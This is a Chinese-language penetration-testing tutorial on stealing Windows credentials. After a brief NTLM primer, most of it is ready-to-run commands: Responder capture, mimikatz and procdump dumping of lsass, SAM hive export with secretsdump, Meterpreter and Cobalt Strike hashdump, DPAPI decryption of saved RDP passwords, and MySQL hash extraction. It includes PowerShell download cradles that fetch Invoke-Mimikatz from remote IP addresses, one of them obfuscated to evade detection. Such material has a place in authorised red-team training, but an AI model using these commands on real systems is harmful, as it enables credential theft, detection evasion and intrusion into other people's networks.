渗透测试-Windows密码凭证获取

密码凭证获取姿势

  • Windows密码凭证获取
    • Windows认证基础
      • Windows本地认证
      • Windows网络认证
      • Net-ntlm hash破解
    • 系统用户凭证获取
      • mimikatz
      • Powershell脚本
      • procdump+mimikatz
      • 注册表导出Hash
      • Meterpreter获取Hash
      • CobaltStrike获取Hash
    • 其他密码凭证获取
      • RDP连接密码解密
      • Powershell脚本获取RDP连接记录
      • Mysql数据库密码破解

Windows密码凭证获取

Windows认证基础

Windows的认证包括三个部分:

  1. 本地认证:用户直接操作计算机登录账户
  2. 网络认证:远程连接到工作组中的某个设备
  3. 域认证:登陆到域环境中的某个设备

Windows本地认证

  1. 用户输入密码
  2. 系统收到密码后将用户输入的密码计算成NTLM Hash
  3. 与sam数据库(%SystemRoot%\system32\config\sam)中该用户的哈希比对
  4. 匹配则登陆成功,不匹配则登陆失败

NTLM哈希,是一种单向哈希算法,Windows将用户的密码计算成NTLM哈希之后才存储在电脑中。

本地认证中用来处理用户输入密码的进程为 lsass.exe ,密码会在这个进程中明文保存,供该进程将密码计算成 NTLM Hash 与 sam 进行比对,我们使用 mimikatz 来获取的明文密码,便是在这个进程中读取到的。

Windows网络认证

网络认证即在工作组环境下远程登陆另一台电脑所采用的认证机制。

NTLM 协议的认证过程分为三步,也叫挑战相应机制:

1.协商
双方确定使用的协议版本, NTLM 存在V1和V2两个版本,即 Net-NTLM v1 hash 、Net-NTLM v2 hash 具体区别就是加密方式不同

在 NTLM 认证中, NTLM 响应分为 NTLM v1 , NTLMv2 , NTLM session v2 三种协议,不同协议使用不同格式的 Challenge 和加密算法

2.质询
挑战(Chalenge)/ 响应(Response)认证机制的核心

  1. 客户端向服务器端发送用户信息(用户名)请求
  2. 服务器接受到请求后,判断本地用户列表是否存在客户端发送的用户名,如果没有返回认证失败,如果有,生成一个16位的随机数,被称之为" Challenge ", 然后使用登录用户名对应的 NTLMHash 加密Challenge(16位随机字符), 生成 Challenge1 保存在内存中。同时,生成 Challenge1后,将Challenge(16位随机字符)明文发送给客户端。
  3. 客户端接受到 Challenge 后,使用自己提供的账户的密码转换成对应的 NTLM Hash ,然后使用这个 NTLM Hash 加密 Challenge 生成 Response ,然后将 Response 发送至服务器端。

3.验证

在质询完成后,验证结果,是认证的最后一步。

服务端收到客户端发送的 Response 后,与之前保存在内存中的 Channelge1 比较,如果相等认证通过
其中,经过 NTLM Hash 加密 Challenge 的结果在网络协议中称之为 Net NTLM Hash (不能直接用来进
行哈希传递攻击,但可以通过暴力破解来获取明文密码)
其中的关键点在于:第二步中客户端发送的是 NTLM 哈希值与随机字符串加密的结果,而这个 NTLM 哈
希是由用户输入的密码本地计算得出的,所以在这个步骤中,只要能提供正确的 NTLM 哈希即使不知道
正确的密码也可通过认证。

Net-ntlm hash破解

  1. 在kali运行工具responder。
    监听eth0端口流量。
responder -I eth0 -v -r -f

渗透测试-Windows密码凭证获取_第1张图片

  1. 如果内网的目标机器输入了错误的命令,就会通过其他协议在局域网内请求,我们就可以截取Net-ntlm hash。

渗透测试-Windows密码凭证获取_第2张图片

  1. 将截取的hash写入hash.txt,运行john。
    渗透测试-Windows密码凭证获取_第3张图片john --format=netntlmv2 hash.txt
    渗透测试-Windows密码凭证获取_第4张图片

系统用户凭证获取

mimikatz

mimikatz for Win10下载:

https://github.com/gentilkiwi/mimikatz/releases

本地非交互式凭证获取:

mimikatz.exe "log res.txt" "privilege::debug" "token::elevate" "lsadump::sam" "exit"
mimikatz.exe "log logon.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"

渗透测试-Windows密码凭证获取_第5张图片

渗透测试-Windows密码凭证获取_第6张图片

2.0

privilege::debug //提升权限
sekurlsa::logonpasswords //抓取密码

1.X

privilege::debug //提升权限
inject::process lsass.exe sekurlsa.dll //注入 sekurlsa.dll 到 lsass.exe 进程里
@getLogonPasswords //获取密码
mimikatz.exe
privilege::debug
token::elevate
lsadump::sam
lsadump::secrets
exit

Powershell脚本

https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1
https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1
https://raw.githubusercontent.com/Mr-xn/Penetration_Testing_POC/master/tools/Invoke-Mimikatz.ps1

Powershell本地加载mimikatz脚本:

powershell -exec bypass Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'  #提权=>导出明文密码

渗透测试-Windows密码凭证获取_第7张图片

powershell -exec bypass Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "lsadump::sam"'  # 提权=>导入数据库,ntlmhash密文

渗透测试-Windows密码凭证获取_第8张图片

Powershell远程加载mimikatz脚本:

  1. 上传脚本到vps,在文件所在目录开启http服务。
python3 -m http.server

渗透测试-Windows密码凭证获取_第9张图片

  1. 运行powershell命令,加载mimikatz脚本。
powershell IEX (New-Object Net.WebClient).DownloadString('http://vps-ip:8000/InvokeMimikatz.ps1');Invoke-Mimikatz –DumpCred

渗透测试-Windows密码凭证获取_第10张图片

powershell混淆:

powershell -c " ('IEX '+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'47.101.214'+'.85:8000/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvokeMimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"

渗透测试-Windows密码凭证获取_第11张图片

Powershell 加载 Get-PassHashes脚本:
脚本下载地址:

https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1
  1. 上传脚本到vps,在文件所在目录开启http服务。
python3 -m http.server

渗透测试-Windows密码凭证获取_第12张图片

  1. 在目标机器执行命令,得到用户和hash。
powershell IEX(new-object net.webclient).downloadstring('http://1.15.132.67:8000/GetPassHashes.ps1');Get-PassHashes

渗透测试-Windows密码凭证获取_第13张图片

procdump+mimikatz

Procdump下载:

https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

Procdump lsass 进程导出:

For 32bits:

procdump.exe -accepteula -ma lsass.exe lsass.dmp

For 64bits:

procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

渗透测试-Windows密码凭证获取_第14张图片

然后使用 mimikatz 还原密码:

sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

渗透测试-Windows密码凭证获取_第15张图片

注册表导出Hash

reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY security.hiv

渗透测试-Windows密码凭证获取_第16张图片
mimikatz:导出ntlmhash。

mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" exit

渗透测试-Windows密码凭证获取_第17张图片

impacket:

https://github.com/SecureAuthCorp/impacket/tree/master/examples

将生成的三个文件放到脚本目录下:
渗透测试-Windows密码凭证获取_第18张图片

python3 secretsdump.py -sam sam.hiv -security security.hiv -system system.hiv LOCAL

渗透测试-Windows密码凭证获取_第19张图片

Meterpreter获取Hash

Hashdump

方法一

先上线一个会话到msf。
渗透测试-Windows密码凭证获取_第20张图片

查看用户权限是否为system,不是的话进行提权,提权后,使用hashdump模块导出hash值。渗透测试-Windows密码凭证获取_第21张图片
将hash值放到第三方页面读取明文密码。
渗透测试-Windows密码凭证获取_第22张图片

方法二

使用post/windows/gather/smart_hashdump模块导出hash。
渗透测试-Windows密码凭证获取_第23张图片Hash格式: 用户名称:RID:LM-HASH值:NTLM-HASH值

mimikatz
方法三

load kiwi  //加载模块
creds_all //列举系统中的明文密码
lsa_dump_sam //读取sam文件
kiwi_cmd sekurlsa::logonpasswords //kiwi_cmd命令后面接mimikatz的命令

渗透测试-Windows密码凭证获取_第24张图片

渗透测试-Windows密码凭证获取_第25张图片

CobaltStrike获取Hash

前提上线cs。
渗透测试-Windows密码凭证获取_第26张图片

 hashdump

渗透测试-Windows密码凭证获取_第27张图片

 logonpasswords

渗透测试-Windows密码凭证获取_第28张图片

 mimikatz sekurlsa::logonpasswords

渗透测试-Windows密码凭证获取_第29张图片

其他密码凭证获取

RDP连接密码解密

mimikatz

  1. 查看本地机器本地连接过的目标机器。
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s

在这里插入图片描述
我的没有连接过。

  1. 查看本地用户此目录下是否存有RDP密码文件
dir /a %userprofile%\AppData\Local\Microsof\Credentials\*

渗透测试-Windows密码凭证获取_第30张图片

  1. 查看保存在本地的远程主机信息
cmdkey /list

渗透测试-Windows密码凭证获取_第31张图片

  1. 选择一个密码文件对其进行解密。
    此处需要记录下 guidMasterKey 的值,待会要通过 guidMasterKey 找对应的 Masterkey 。
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

渗透测试-Windows密码凭证获取_第32张图片

  1. 查看保存在本地的远程主机信息
cmdkey /list

渗透测试-Windows密码凭证获取_第33张图片

  1. 选择步骤四一个密码文件对其进行解密。
    此处需要记录下 guidMasterKey 的值,待会要通过 guidMasterKey 找对应的 Masterkey 。
privilege::debug
dpapi::cred /in:C:\Users\用户名\AppData\Local\Microsoft\Credentials\密码文件名

渗透测试-Windows密码凭证获取_第34张图片

记录值guidMasterKey : {34dc48bb-0af9-4925-bf07fakhsdjahsdja}

  1. 根据 guidMasterKey 找到对应的 Masterkey。
sekurlsa::dpapi

渗透测试-Windows密码凭证获取_第35张图片

  1. 通过 Masterkey 解密 pbData 数据,拿到明文 RDP 连接密码。
dpapi::cred /in:C:\Users\用户名\AppData\Local\Microsoft\Credentials\1密码文件 /masterkey:masterkey对应的值

渗透测试-Windows密码凭证获取_第36张图片

渗透测试-Windows密码凭证获取_第37张图片

Powershell脚本获取RDP连接记录

脚本下载地址  https://github.com/3gstudent/List-RDP-Connections-History.git
powershell -exec bypass .\ListLogged-inUsers.ps1

渗透测试-Windows密码凭证获取_第38张图片
上线cs。

shell reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s

渗透测试-Windows密码凭证获取_第39张图片
由于没有远程连接过,下面只赘述步骤,不进行演示,有连接记录的话可以操作。

shell dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
 shell cmdkey /list
mimikatz "privilege::debug" "dpapi::cred /in:C:\Users\用户名\AppData\Local\Microsoft\Credentials\文件名" "exit"

Mysql数据库密码破解

一旦获取了网站一定的权限后,如果能够获取MySQL中保存用户数据,通过解密后,即可通过正常途径来访问数据库;一方面可以直接操作数据库中的数据,另一方面可以用来提升权限。

MySQL数据库用户密码跟其它数据库用户密码一样,在应用系统代码中都是以明文出现的,在获取文件读取权限后即可直接从数据库连接文件中读取。

一般都包含有数据库类型,物理位置,用户名和密码等信息

MYSQL数据库文件类型

MYSQL数据库文件共有 frm 、 MYD 和 MYI 三种文件;

“.frm” 是描述表结构的文件

“.MYD” 是表的数据文件

“.MYI” 是表数据文件中任何索引的数据树
一般是单独存在一个文件夹中

与用户有关的一共有三个文件即 user.frm 、 user.MYD 和 user.MYI ,MYSQL数据库用户密码都保存
在 user.MYD 文件中,包括root用户和其他用户的密码。

Mysql加密方式

MYSQL数据库的认证密码有两种方式:
MYSQL 4.1版本之前是MYSQL323加密,MYSQL 4.1和之后的版本都是MYSQLSHA1加密

MYSQL数据库中自带 Old_Password(str) 和 Password(str) 函数,它们均可以在MYSQL数据库里进
行查询,前者是 MYSQL323 加密,后者是 MYSQLSHA1 方式加密。

mysql> select Password('root');
+-------------------------------------------+
| Password('root') |
+-------------------------------------------+
| *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
+-------------------------------------------+
1 row in set

MYSQL323 加密中生成的是16位字符串,而在 MYSQLSHA1 中生成的是41位字符串,其中 * 是不加入实际的密码运算中, MYSQLSHA1 加密的密码的实际位数是40位。

获取Mysql数据库密码hash值
用winhex编辑器打开user.MYD文件,使用二进制模式查看,即可得到密码值:
渗透测试-Windows密码凭证获取_第40张图片

Hash破解

在线网站破解

www.cmd5.com
www.somd5.com

上边已有Hash破解方法,这里不做赘述。

其他应用程序密码破解
https://github.com/uknowsec/SharpDecryptPwd
对密码已保存在 Windwos 系统上的部分程序进行解析,包括:
Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列产品(Xshell,Xftp)。
源码:
https://github.com/RowTeam/SharpDecryptPwd

你可能感兴趣的:(内网渗透,安全,网络安全,cobalstrike,密码凭证,Hash)